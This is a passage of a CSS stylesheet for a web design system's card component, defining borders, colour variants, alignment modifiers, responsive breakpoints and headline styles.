border-bottom-left-radius: var(--default-border-radius,16px);
border-bottom-right-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.card--semantic-bar-promoting:last-child {
border-radius:0
}
}
.card--semantic-bar-promoting:only-child {
border-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.card--semantic-bar-promoting:only-child {
border-radius:0
}
}
.card--success {
border: 2px solid var(--success-shape-color,#0fa954)
}
.card--warning {
border: 2px solid var(--warning-shape-color,#fa0)
}
.card--critical {
border: 2px solid var(--critical-shape-color,#f50c00)
}
.card--neutral {
border: 2px solid var(--neutral-shape-color,#718095)
}
.card--activating {
border: 2px solid var(--activating-shape-color,#11c7e6)
}
.card--promoting {
border: 2px solid var(--promoting-shape-color,#b410e7)
}
.card--corporate {
border: 2px solid var(--corporate-shape-color,#001b41)
}
.card__header {
position: relative
}
.card__header:first-child {
border-radius: calc(var(--default-border-radius, 16px) - 1px) calc(var(--default-border-radius, 16px) - 1px) 0 0;
overflow: hidden
}
@media only screen and (max-width: 666px) {
.card__header:first-child {
border-radius:calc(var(--small-border-radius, 8px) - 1px) calc(var(--small-border-radius, 8px) - 1px) 0 0
}
}
.card__header--align-center {
justify-content: center;
text-align: center
}
.card__header--align-left {
justify-content: flex-start;
text-align: left
}
.card__header--align-right {
justify-content: flex-end;
text-align: right
}
@media only screen and (min-width: 1185px) {
.card__header--large-align-center {
justify-content:center;
text-align: center
}
.card__header--large-align-left {
justify-content: flex-start;
text-align: left
}
.card__header--large-align-right {
justify-content: flex-end;
text-align: right
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.card__header--medium-align-center {
justify-content:center;
text-align: center
}
.card__header--medium-align-left {
justify-content: flex-start;
text-align: left
}
.card__header--medium-align-right {
justify-content: flex-end;
text-align: right
}
}
@media only screen and (max-width: 666px) {
.card__header--small-align-center {
justify-content:center;
text-align: center
}
.card__header--small-align-left {
justify-content: flex-start;
text-align: left
}
.card__header--small-align-right {
justify-content: flex-end;
text-align: right
}
}
.card__visual {
height: auto;
vertical-align: top;
width: 100%
}
.card__visual--small {
display: block;
height: 48px;
margin: 16px;
width: auto
}
.card__visual--contained {
display: block;
height: 160px;
margin: 16px 0;
-o-object-fit: contain;
object-fit: contain
}
.card__visual--covered {
display: block;
height: 180px;
-o-object-fit: cover;
object-fit: cover
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.card__visual--covered {
height:168px
}
}
@media only screen and (max-width: 666px) {
.card__visual--covered {
height:156px
}
}
.card__ribbon .card__visual {
border-radius: 0
}
@supports ((-o-object-fit: cover) or (object-fit:cover)) {
.card__header--visualized .card__visual {
flex-grow:1;
height: 180px;
-o-object-fit: cover;
object-fit: cover;
position: inherit;
width: 100%
}
@media only screen and (max-width: 666px) {
.card__header--visualized .card__visual {
height:240px
}
}
}
.card__content {
border-bottom-left-radius: var(--default-border-radius,16px);
border-bottom-right-radius: var(--default-border-radius,16px);
display: flex;
flex-flow: column nowrap;
flex-grow: 1
}
@media only screen and (max-width: 666px) {
.card__content {
border-bottom-left-radius:var(--small-border-radius,8px);
border-bottom-right-radius: var(--small-border-radius,8px)
}
}
.card__content--align-center {
justify-content: center;
text-align: center
}
.card__content--align-left {
justify-content: flex-start;
text-align: left
}
.card__content--align-right {
justify-content: flex-end;
text-align: right
}
@media only screen and (min-width: 1185px) {
.card__content--large-align-center {
justify-content:center;
text-align: center
}
.card__content--large-align-left {
justify-content: flex-start;
text-align: left
}
.card__content--large-align-right {
justify-content: flex-end;
text-align: right
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.card__content--medium-align-center {
justify-content:center;
text-align: center
}
.card__content--medium-align-left {
justify-content: flex-start;
text-align: left
}
.card__content--medium-align-right {
justify-content: flex-end;
text-align: right
}
}
@media only screen and (max-width: 666px) {
.card__content--small-align-center {
justify-content:center;
text-align: center
}
.card__content--small-align-left {
justify-content: flex-start;
text-align: left
}
.card__content--small-align-right {
justify-content: flex-end;
text-align: right
}
}
.card section {
margin-bottom: inherit
}
.card__section {
padding: 16px;
position: relative
}
.card__section:first-child {
border-top-left-radius: var(--default-border-radius,16px);
border-top-right-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.card__section:first-child {
border-top-left-radius:var(--small-border-radius,8px);
border-top-right-radius: var(--small-border-radius,8px)
}
}
.card__section:last-child {
border-bottom-left-radius: var(--default-border-radius,16px);
border-bottom-right-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.card__section:last-child {
border-bottom-left-radius:var(--small-border-radius,8px);
border-bottom-right-radius: var(--small-border-radius,8px)
}
}
.card__section--activating {
background-color: var(--activating-background-color,#fff);
border-bottom-width: 2px;
border-color: var(--activating-shape-color,#11c7e6);
border-style: solid;
border-top-width: 2px;
color: var(--activating-text-color,#007e9c)
}
.card__section--activating+.card__section--activating,.card__section--activating+.card__section--advertising,.card__section--activating+.card__section--corporate,.card__section--activating+.card__section--critical,.card__section--activating+.card__section--neutral,.card__section--activating+.card__section--promoting,.card__section--activating+.card__section--success,.card__section--activating+.card__section--warning {
margin-top: -2px
}
.card__section--activating+.card__footer:not(.card__footer--distinct) {
margin-top: 16px
}
.card__section--success {
background-color: var(--success-background-color,#fff);
border-bottom-width: 2px;
border-color: var(--success-shape-color,#0fa954);
border-style: solid;
border-top-width: 2px;
color: var(--success-text-color,#096b35)
}
.card__section--success+.card__section--activating,.card__section--success+.card__section--advertising,.card__section--success+.card__section--corporate,.card__section--success+.card__section--critical,.card__section--success+.card__section--neutral,.card__section--success+.card__section--promoting,.card__section--success+.card__section--success,.card__section--success+.card__section--warning {
margin-top: -2px
}
.card__section--success+.card__footer:not(.card__footer--distinct) {
margin-top: 16px
}
.card__section--warning {
background-color: var(--warning-background-color,#fff);
border-bottom-width: 2px;
border-color: var(--warning-shape-color,#fa0);
border-style: solid;
border-top-width: 2px;
color: var(--warning-text-color,#c36b00)
}
.card__section--warning+.card__section--activating,.card__section--warning+.card__section--advertising,.card__section--warning+.card__section--corporate,.card__section--warning+.card__section--critical,.card__section--warning+.card__section--neutral,.card__section--warning+.card__section--promoting,.card__section--warning+.card__section--success,.card__section--warning+.card__section--warning {
margin-top: -2px
}
.card__section--warning+.card__footer:not(.card__footer--distinct) {
margin-top: 16px
}
.card__section--critical {
background-color: var(--critical-background-color,#fff);
border-bottom-width: 2px;
border-color: var(--critical-shape-color,#f50c00);
border-style: solid;
border-top-width: 2px;
color: var(--critical-text-color,#c80a00)
}
.card__section--critical+.card__section--activating,.card__section--critical+.card__section--advertising,.card__section--critical+.card__section--corporate,.card__section--critical+.card__section--critical,.card__section--critical+.card__section--neutral,.card__section--critical+.card__section--promoting,.card__section--critical+.card__section--success,.card__section--critical+.card__section--warning {
margin-top: -2px
}
.card__section--critical+.card__footer:not(.card__footer--distinct) {
margin-top: 16px
}
.card__section--neutral {
background-color: var(--neutral-background-color,#fff);
border-bottom-width: 2px;
border-color: var(--neutral-shape-color,#718095);
border-style: solid;
border-top-width: 2px;
color: var(--neutral-text-color,#465a75)
}
.card__section--neutral+.card__section--activating,.card__section--neutral+.card__section--advertising,.card__section--neutral+.card__section--corporate,.card__section--neutral+.card__section--critical,.card__section--neutral+.card__section--neutral,.card__section--neutral+.card__section--promoting,.card__section--neutral+.card__section--success,.card__section--neutral+.card__section--warning {
margin-top: -2px
}
.card__section--neutral+.card__footer:not(.card__footer--distinct) {
margin-top: 16px
}
.card__section--corporate {
background-color: var(--corporate-background-color,#fff);
border-bottom-width: 2px;
border-color: var(--corporate-shape-color,#001b41);
border-style: solid;
border-top-width: 2px;
color: var(--corporate-text-color,#0b2a63)
}
.card__section--corporate+.card__section--activating,.card__section--corporate+.card__section--advertising,.card__section--corporate+.card__section--corporate,.card__section--corporate+.card__section--critical,.card__section--corporate+.card__section--neutral,.card__section--corporate+.card__section--promoting,.card__section--corporate+.card__section--success,.card__section--corporate+.card__section--warning {
margin-top: -2px
}
.card__section--corporate+.card__footer:not(.card__footer--distinct) {
margin-top: 16px
}
.card__section--promoting {
background-color: var(--promoting-background-color,#fff);
border-bottom-width: 2px;
border-color: var(--promoting-shape-color,#b410e7);
border-style: solid;
border-top-width: 2px;
color: var(--promoting-text-color,#560e8a)
}
.card__section--promoting+.card__section--activating,.card__section--promoting+.card__section--advertising,.card__section--promoting+.card__section--corporate,.card__section--promoting+.card__section--critical,.card__section--promoting+.card__section--neutral,.card__section--promoting+.card__section--promoting,.card__section--promoting+.card__section--success,.card__section--promoting+.card__section--warning {
margin-top: -2px
}
.card__section--promoting+.card__footer:not(.card__footer--distinct) {
margin-top: 16px
}
.card__section--advertising {
border-bottom-width: 2px;
border-color: var(--advertising-background-gradient-start,#003d8f);
border-style: solid;
border-top-width: 2px;
color: var(--white,#fff)
}
.card__section--advertising+.card__section--activating,.card__section--advertising+.card__section--advertising,.card__section--advertising+.card__section--corporate,.card__section--advertising+.card__section--critical,.card__section--advertising+.card__section--neutral,.card__section--advertising+.card__section--promoting,.card__section--advertising+.card__section--success,.card__section--advertising+.card__section--warning {
margin-top: -2px
}
.card__section--advertising+.card__footer:not(.card__footer--distinct) {
margin-top: 16px
}
.card__section--separator {
border-top: 1px solid var(--tertiary-shape-color,#bcc8d4);
padding-top: 16px
}
.card__section--growing {
flex-grow: 1
}
.card__section--stripes {
padding: 0 0 16px
}
.card__section>:last-child {
margin-bottom: 0
}
.card__section--align-center {
justify-content: center;
text-align: center
}
.card__section--align-left {
justify-content: flex-start;
text-align: left
}
.card__section--align-right {
justify-content: flex-end;
text-align: right
}
@media only screen and (min-width: 1185px) {
.card__section--large-align-center {
justify-content:center;
text-align: center
}
.card__section--large-align-left {
justify-content: flex-start;
text-align: left
}
.card__section--large-align-right {
justify-content: flex-end;
text-align: right
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.card__section--medium-align-center {
justify-content:center;
text-align: center
}
.card__section--medium-align-left {
justify-content: flex-start;
text-align: left
}
.card__section--medium-align-right {
justify-content: flex-end;
text-align: right
}
}
@media only screen and (max-width: 666px) {
.card__section--small-align-center {
justify-content:center;
text-align: center
}
.card__section--small-align-left {
justify-content: flex-start;
text-align: left
}
.card__section--small-align-right {
justify-content: flex-end;
text-align: right
}
}
.card__section--hidden {
display: none
}
@media only screen and (min-width: 1185px) {
.card__section--large-hidden {
display:none
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.card__section--medium-hidden {
display:none
}
}
@media only screen and (max-width: 666px) {
.card__section--small-hidden {
display:none
}
}
.card__section--semantic-bar-success {
box-shadow: inset 5px 0 var(--success-shape-color,#0fa954);
margin-left: -1px
}
.card__section--semantic-bar-success:first-child {
border-top-left-radius: var(--default-border-radius,16px);
border-top-right-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.card__section--semantic-bar-success:first-child {
border-radius:0
}
}
.card__section--semantic-bar-success:last-child {
border-bottom-left-radius: var(--default-border-radius,16px);
border-bottom-right-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.card__section--semantic-bar-success:last-child {
border-radius:0
}
}
.card__section--semantic-bar-success:only-child {
border-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.card__section--semantic-bar-success:only-child {
border-radius:0
}
}
.card__section--semantic-bar-warning {
box-shadow: inset 5px 0 var(--warning-shape-color,#fa0);
margin-left: -1px
}
.card__section--semantic-bar-warning:first-child {
border-top-left-radius: var(--default-border-radius,16px);
border-top-right-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.card__section--semantic-bar-warning:first-child {
border-radius:0
}
}
.card__section--semantic-bar-warning:last-child {
border-bottom-left-radius: var(--default-border-radius,16px);
border-bottom-right-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.card__section--semantic-bar-warning:last-child {
border-radius:0
}
}
.card__section--semantic-bar-warning:only-child {
border-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.card__section--semantic-bar-warning:only-child {
border-radius:0
}
}
.card__section--semantic-bar-critical {
box-shadow: inset 5px 0 var(--critical-shape-color,#f50c00);
margin-left: -1px
}
.card__section--semantic-bar-critical:first-child {
border-top-left-radius: var(--default-border-radius,16px);
border-top-right-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.card__section--semantic-bar-critical:first-child {
border-radius:0
}
}
.card__section--semantic-bar-critical:last-child {
border-bottom-left-radius: var(--default-border-radius,16px);
border-bottom-right-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.card__section--semantic-bar-critical:last-child {
border-radius:0
}
}
.card__section--semantic-bar-critical:only-child {
border-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.card__section--semantic-bar-critical:only-child {
border-radius:0
}
}
.card__section--semantic-bar-neutral {
box-shadow: inset 5px 0 var(--neutral-shape-color,#718095);
margin-left: -1px
}
.card__section--semantic-bar-neutral:first-child {
border-top-left-radius: var(--default-border-radius,16px);
border-top-right-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.card__section--semantic-bar-neutral:first-child {
border-radius:0
}
}
.card__section--semantic-bar-neutral:last-child {
border-bottom-left-radius: var(--default-border-radius,16px);
border-bottom-right-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.card__section--semantic-bar-neutral:last-child {
border-radius:0
}
}
.card__section--semantic-bar-neutral:only-child {
border-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.card__section--semantic-bar-neutral:only-child {
border-radius:0
}
}
.card__section--semantic-bar-activating {
box-shadow: inset 5px 0 var(--activating-shape-color,#11c7e6);
margin-left: -1px
}
.card__section--semantic-bar-activating:first-child {
border-top-left-radius: var(--default-border-radius,16px);
border-top-right-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.card__section--semantic-bar-activating:first-child {
border-radius:0
}
}
.card__section--semantic-bar-activating:last-child {
border-bottom-left-radius: var(--default-border-radius,16px);
border-bottom-right-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.card__section--semantic-bar-activating:last-child {
border-radius:0
}
}
.card__section--semantic-bar-activating:only-child {
border-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.card__section--semantic-bar-activating:only-child {
border-radius:0
}
}
.card__section--semantic-bar-corporate {
box-shadow: inset 5px 0 var(--corporate-shape-color,#001b41);
margin-left: -1px
}
.card__section--semantic-bar-corporate:first-child {
border-top-left-radius: var(--default-border-radius,16px);
border-top-right-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.card__section--semantic-bar-corporate:first-child {
border-radius:0
}
}
.card__section--semantic-bar-corporate:last-child {
border-bottom-left-radius: var(--default-border-radius,16px);
border-bottom-right-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.card__section--semantic-bar-corporate:last-child {
border-radius:0
}
}
.card__section--semantic-bar-corporate:only-child {
border-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.card__section--semantic-bar-corporate:only-child {
border-radius:0
}
}
.card__section--semantic-bar-promoting {
box-shadow: inset 5px 0 var(--promoting-shape-color,#b410e7);
margin-left: -1px
}
.card__section--semantic-bar-promoting:first-child {
border-top-left-radius: var(--default-border-radius,16px);
border-top-right-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.card__section--semantic-bar-promoting:first-child {
border-radius:0
}
}
.card__section--semantic-bar-promoting:last-child {
border-bottom-left-radius: var(--default-border-radius,16px);
border-bottom-right-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.card__section--semantic-bar-promoting:last-child {
border-radius:0
}
}
.card__section--semantic-bar-promoting:only-child {
border-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.card__section--semantic-bar-promoting:only-child {
border-radius:0
}
}
.card__section--success-solid {
background-color: var(--solid-success-background-color,#12cf76);
color: var(--corporate-text-color,#0b2a63)
}
.card__section--warning-solid {
background-color: var(--solid-warning-background-color,#fa0);
color: var(--corporate-text-color,#0b2a63)
}
.card__section--critical-solid {
background-color: var(--solid-critical-background-color,#ff6159);
color: var(--corporate-text-color,#0b2a63)
}
.card__section--neutral-solid {
background-color: var(--solid-neutral-background-color,#465a75);
color: var(--white,#fff)
}
.card__section--activating-solid {
background-color: var(--solid-activating-background-color,#11c7e6);
color: var(--corporate-text-color,#0b2a63)
}
.card__section--promoting-solid {
background-color: var(--solid-promoting-background-color,#e480f8);
color: var(--corporate-text-color,#0b2a63)
}
.card__section--corporate-solid {
background-color: var(--solid-corporate-background-color,#0b2a63);
color: var(--white,#fff)
}
.card__section--bright-solid {
background-color: var(--solid-bright-background-color,#fff);
color: var(--corporate-text-color,#0b2a63)
}
.card__section--primary {
background-color: var(--primary-background-color,#fff)
}
.card__section--secondary {
background-color: var(--secondary-background-color,#fff)
}
.card__section--tertiary {
background-color: var(--tertiary-background-color,#bcc8d4)
}
.card__section--advertising {
background: var(--advertising-background-gradient-start,#003d8f);
background: linear-gradient(to bottom right,var(--advertising-background-gradient-start,#003d8f),var(--advertising-background-gradient-end,#1474c4))
}
.card__section--advertising>.headline,.card__section--advertising>.paragraph {
color: var(--white,#fff)
}
.card__section--beta {
background-color: var(--default-background-color-inverted,#0b2a63)
}
.card__section--beta>.headline,.card__section--beta>.paragraph {
color: var(--white,#fff)
}
.card__section--premium {
background-color: var(--tertiary-background-color-inverted,#718095)
}
.card__section--premium>.headline,.card__section--premium>.paragraph {
color: var(--white,#fff)
}
.card__section--vertical-align-bottom {
align-items: flex-end;
display: flex;
flex-flow: wrap
}
.card__section--vertical-align-center {
align-items: center;
display: flex;
flex-flow: wrap
}
.card__section--vertical-align-top {
align-items: flex-start;
display: flex;
flex-flow: wrap
}
@media only screen and (min-width: 1185px) {
.card__section--large-vertical-align-bottom {
align-items:flex-end;
display: flex;
flex-flow: wrap
}
.card__section--large-vertical-align-center {
align-items: center;
display: flex;
flex-flow: wrap
}
.card__section--large-vertical-align-top {
align-items: flex-start;
display: flex;
flex-flow: wrap
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.card__section--medium-vertical-align-bottom {
align-items:flex-end;
display: flex;
flex-flow: wrap
}
.card__section--medium-vertical-align-center {
align-items: center;
display: flex;
flex-flow: wrap
}
.card__section--medium-vertical-align-top {
align-items: flex-start;
display: flex;
flex-flow: wrap
}
}
@media only screen and (max-width: 666px) {
.card__section--small-vertical-align-bottom {
align-items:flex-end;
display: flex;
flex-flow: wrap
}
.card__section--small-vertical-align-center {
align-items: center;
display: flex;
flex-flow: wrap
}
.card__section--small-vertical-align-top {
align-items: flex-start;
display: flex;
flex-flow: wrap
}
}
.card__headline {
color: var(--default-text-color,#001b41);
font-family: var(--corporate-font-bold,"OverpassSemibold",arial,sans-serif);
font-size: var(--second-level-headline-size,22px);
line-height: var(--second-level-headline-line-height,1.364em);
margin-bottom: 12px;
word-break: break-word
}
.card__headline--cropped {
margin-bottom: 0
}
.card__headline--align-center {
justify-content: center;
text-align: center
}
.card__headline--align-left {
justify-content: flex-start;
text-align: left
}
.card__headline--align-right {
justify-content: flex-end;
text-align: right
}
@media only screen and (min-width: 1185px) {
.card__headline--large-align-center {
justify-content:center;
text-align: center
}
.card__headline--large-align-left {
justify-content: flex-start;
text-align: left
}
.card__headline--large-align-right {
justify-content: flex-end;
text-align: right
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.card__headline--medium-align-center {
justify-content:center;
text-align: center
}
.card__headline--medium-align-left {
justify-content: flex-start;
text-align: left
}
.card__headline--medium-align-right {
justify-content: flex-end;
text-align: right
}
}
@media only screen and (max-width: 666px) {
.card__headline--small-align-center {
justify-content:center;
text-align: center
}
.card__headline--small-align-left {
justify-content: flex-start;
text-align: left
}
.card__headline--small-align-right {
justify-content: flex-end;
text-align: right
}
}
.card__headline--break-all {
word-break: break-all
}
.card__headline--break-word {
word-break: break-word
}
@media only screen and (max-width: 666px) {
.card__headline--small-break-all {
word-break:break-all
}
.card__headline--small-break-word {
word-break: break-word
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.card__headline--medium-break-all {
word-break:break-all
}
.card__headline--medium-break-word {
word-break: break-word
}
}
@media only screen and (min-width: 1185px) {
.card__headline--large-break-all {
word-break:break-all
}
.card__headline--large-break-word {
word-break: break-word
}
}
.card__headline--nowrap {
white-space: nowrap
}
@media only screen and (max-width: 666px) {
.card__headline--small-nowrap {
white-space:nowrap
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.card__headline--medium-nowrap {
white-space:nowrap
}
}
@media only screen and (min-width: 1185px) {
.card__headline--large-nowrap {
white-space:nowrap
}
}
.card__headline--ellipsized {
overflow: hidden;
text-overflow: ellipsis;
white-space: nowrap
}
@media only screen and (min-width: 1185px) {
.card__headline--large-ellipsized {
overflow:hidden;
text-overflow: ellipsis;
white-space: nowrap
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.card__headline--medium-ellipsized {
overflow:hidden;
text-overflow: ellipsis;
white-space: nowrap
}
}
@media only screen and (max-width: 666px) {
.card__headline--small-ellipsized {
overflow:hidden;
text-overflow: ellipsis;
white-space: nowrap
}
}
.card__headline--success {
color: var(--success-text-color,#096b35)
}
.card__headline--warning {
color: var(--warning-text-color,#c36b00)
}
.card__headline--critical {
color: var(--critical-text-color,#c80a00)
}
.card__headline--neutral {
color: var(--neutral-text-color,#465a75)
}
.card__headline--activating {
color: var(--activating-text-color,#007e9c)
}
.card__headline--promoting {
color: var(--promoting-text-color,#560e8a)
}
.card__headline--corporate {
color: var(--corporate-text-color,#0b2a63)
}
.card__headline--bright {
color: var(--white,#fff)
}
.badge--positioned+.card__headline {
margin-top: 36px
}
.card__preheadline {
color: var(--default-text-color,#001b41);
margin-bottom: 3px
}
.card__preheadline--badge .badge {
border-bottom-left-radius: 0;
border-top-left-radius: 0;
margin-left: -16px;
margin-right: 6px;
padding-bottom: 1px;
padding-left: 16px;
padding-top: 1px
}
.card__preheadline--break-all {
word-break: break-all
}
.card__preheadline--break-word {
word-break: break-word
}
@media only screen and (max-width: 666px) {
.card__preheadline--small-break-all {
word-break:break-all
}
.card__preheadline--small-break-word {
word-break: break-word
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.card__preheadline--medium-break-all {
word-break:break-all
}
.card__preheadline--medium-break-word {
word-break: break-word
}
}
@media only screen and (min-width: 1185px) {
.card__preheadline--large-break-all {
word-break:break-all
}
.card__preheadline--large-break-word {
word-break: break-word
}
}
.card__preheadline--nowrap {
white-space: nowrap
}
@media only screen and (max-width: 666px) {
.card__preheadline--small-nowrap {
white-space:nowrap
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.card__preheadline--medium-nowrap {
white-space:nowrap
}
}
@media only screen and (min-width: 1185px) {
.card__preheadline--large-nowrap {
white-space:nowrap
}
}
.card__preheadline--ellipsized {
overflow: hidden;
text-overflow: ellipsis;
white-space: nowrap
}
@media only screen and (min-width: 1185px) {
.card__preheadline--large-ellipsized {
overflow:hidden;
text-overflow: ellipsis;
white-space: nowrap
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.card__preheadline--medium-ellipsized {
overflow:hidden;
text-overflow: ellipsis;
white-space: nowrap
}
}
@media only screen and (max-width: 666px) {
.card__preheadline--small-ellipsized {
overflow:hidden;
text-overflow: ellipsis;
white-space: nowrap
}
}
.card__preheadline--success {
color: var(--success-text-color,#096b35)
}
.card__preheadline--warning {
color: var(--warning-text-color,#c36b00)
}
.card__preheadline--critical {
color: var(--critical-text-color,#c80a00)
}
.card__preheadline--neutral {
color: var(--neutral-text-color,#465a75)
}
.card__preheadline--activating {
color: var(--activating-text-color,#007e9c)
}
.card__preheadline--promoting {
color: var(--promoting-text-color,#560e8a)
}
.card__preheadline--corporate {
color: var(--corporate-text-color,#0b2a63)
}
.card__preheadline--bright {
color: var(--white,#fff)
}
.badge--positioned+.card__preheadline {
margin-top: 36px
}
.card__subheadline {
color: var(--default-text-color,#001b41);
font-family: var(--default-font-bold,"OpenSansSemibold",arial,sans-serif);
font-size: var(--third-level-headline-size,16px);
line-height: var(--third-level-headline-line-height,1.5em);
margin-bottom: 6px;
margin-top: 0
}
.card__subheadline--break-all {
word-break: break-all
}
.card__subheadline--break-word {
word-break: break-word
}
@media only screen and (max-width: 666px) {
.card__subheadline--small-break-all {
word-break:break-all
}
.card__subheadline--small-break-word {
word-break: break-word
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.card__subheadline--medium-break-all {
word-break:break-all
}
.card__subheadline--medium-break-word {
word-break: break-word
}
}
@media only screen and (min-width: 1185px) {
.card__subheadline--large-break-all {
word-break:break-all
}
.card__subheadline--large-break-word {
word-break: break-word
}
}
.card__subheadline--nowrap {
white-space: nowrap
}
@media only screen and (max-width: 666px) {
.card__subheadline--small-nowrap {
white-space:nowrap
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.card__subheadline--medium-nowrap {
white-space:nowrap
}
}
@media only screen and (min-width: 1185px) {
.card__subheadline--large-nowrap {
white-space:nowrap
}
}
.card__subheadline--ellipsized {
overflow: hidden;
text-overflow: ellipsis;
white-space: nowrap
}
@media only screen and (min-width: 1185px) {
.card__subheadline--large-ellipsized {
overflow:hidden;
text-overflow: ellipsis;
white-space: nowrap
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.card__subheadline--medium-ellipsized {
overflow:hidden;
text-overflow: ellipsis;
white-space: nowrap
}
}
@media only screen and (max-width: 666px) {
.card__subheadline--small-ellipsized {
overflow:hidden;
text-overflow: ellipsis;
white-space: nowrap
}
}
.card__subheadline--success {
color: var(--success-text-color,#096b35)
}
.card__subheadline--warning {
color: var(--warning-text-color,#c36b00)
}
.card__subheadline--critical {
color: var(--critical-text-color,#c80a00)
}
.card__subheadline--neutral {
color: var(--neutral-text-color,#465a75)
}
.card__subheadline--activating {
color: var(--activating-text-color,#007e9c)
}
.card__subheadline--promoting {
color: var(--promoting-text-color,#560e8a)
}
.card__subheadline--corporate {
color: var(--corporate-text-color,#0b2a63)
}
.card__subheadline--bright {
color: var(--white,#fff)
}
.card__icon {
margin-bottom: 15px
}
.card__icon-container {
align-items: center;
display: flex;
flex-flow: row;
padding-bottom: 16px
}
.card__icon-container .card__icon {
display: flex;
flex-flow: wrap;
margin: 0 15px 0 0;
max-height: 64px;
width: auto
}
.card__icon-container .card__icon:last-child {
margin-left: 15px;
margin-right: 0
}
.card__icon-container .card__icon--vertical-align-bottom {
align-self: flex-end
}
.card__icon-container .card__icon--vertical-align-center {
align-self: center
}
.card__icon-container .card__icon--vertical-align-middle {
vertical-align: middle
}
.card__icon-container .card__icon--vertical-align-top {
align-self: flex-start
}
@media only screen and (min-width: 1185px) {
.card__icon-container .card__icon--large-vertical-align-bottom {
align-self:flex-end
}
.card__icon-container .card__icon--large-vertical-align-center {
align-self: center
}
.card__icon-container .card__icon--large-vertical-align-middle {
vertical-align: middle
}
.card__icon-container .card__icon--large-vertical-align-top {
align-self: flex-start
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.card__icon-container .card__icon--medium-vertical-align-bottom {
align-self:flex-end
}
.card__icon-container .card__icon--medium-vertical-align-center {
align-self: center
}
.card__icon-container .card__icon--medium-vertical-align-middle {
vertical-align: middle
}
.card__icon-container .card__icon--medium-vertical-align-top {
align-self: flex-start
}
}
@media only screen and (max-width: 666px) {
.card__icon-container .card__icon--small-vertical-align-bottom {
align-self:flex-end
}
.card__icon-container .card__icon--small-vertical-align-center {
align-self: center
}
.card__icon-container .card__icon--small-vertical-align-middle {
vertical-align: middle
}
.card__icon-container .card__icon--small-vertical-align-top {
align-self: flex-start
}
}
.card__icon-container .card__headline-container {
flex-grow: 1
}
.card__icon-container .card__headline-container--align-center {
justify-content: center;
text-align: center
}
.card__icon-container .card__headline-container--align-left {
justify-content: flex-start;
text-align: left
}
.card__icon-container .card__headline-container--align-right {
justify-content: flex-end;
text-align: right
}
@media only screen and (min-width: 1185px) {
.card__icon-container .card__headline-container--large-align-center {
justify-content:center;
text-align: center
}
.card__icon-container .card__headline-container--large-align-left {
justify-content: flex-start;
text-align: left
}
.card__icon-container .card__headline-container--large-align-right {
justify-content: flex-end;
text-align: right
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.card__icon-container .card__headline-container--medium-align-center {
justify-content:center;
text-align: center
}
.card__icon-container .card__headline-container--medium-align-left {
justify-content: flex-start;
text-align: left
}
.card__icon-container .card__headline-container--medium-align-right {
justify-content: flex-end;
text-align: right
}
}
@media only screen and (max-width: 666px) {
.card__icon-container .card__headline-container--small-align-center {
justify-content:center;
text-align: center
}
.card__icon-container .card__headline-container--small-align-left {
justify-content: flex-start;
text-align: left
}
.card__icon-container .card__headline-container--small-align-right {
justify-content: flex-end;
text-align: right
}
}
.card__icon-container .card__headline,.card__icon-container .card__preheadline {
margin: 3px 0 0
}
.card__action-container {
display: flex
}
.card__action-container:last-child {
margin-bottom: -8px
}
.card__flyout {
flex-grow: 1;
margin-left: 24px;
margin-top: 2px;
text-align: right
}
@media only screen and (max-width: 666px) {
.card__flyout {
position:absolute;
right: 16px
}
}
.card__ribbon {
background-color: var(--activating-background-color,#fff);
border-bottom: 1px solid var(--activating-shape-color,#11c7e6);
border-top: 1px solid var(--activating-shape-color,#11c7e6);
color: var(--activating-text-color,#007e9c);
padding: 8px 16px;
text-align: center
}
.card__ribbon--success {
background-color: var(--white,#fff);
border-bottom: 1px solid var(--success-shape-color,#0fa954);
border-top: 1px solid var(--success-shape-color,#0fa954);
color: var(--success-text-color,#096b35)
}
.card__ribbon--warning {
background-color: var(--white,#fff);
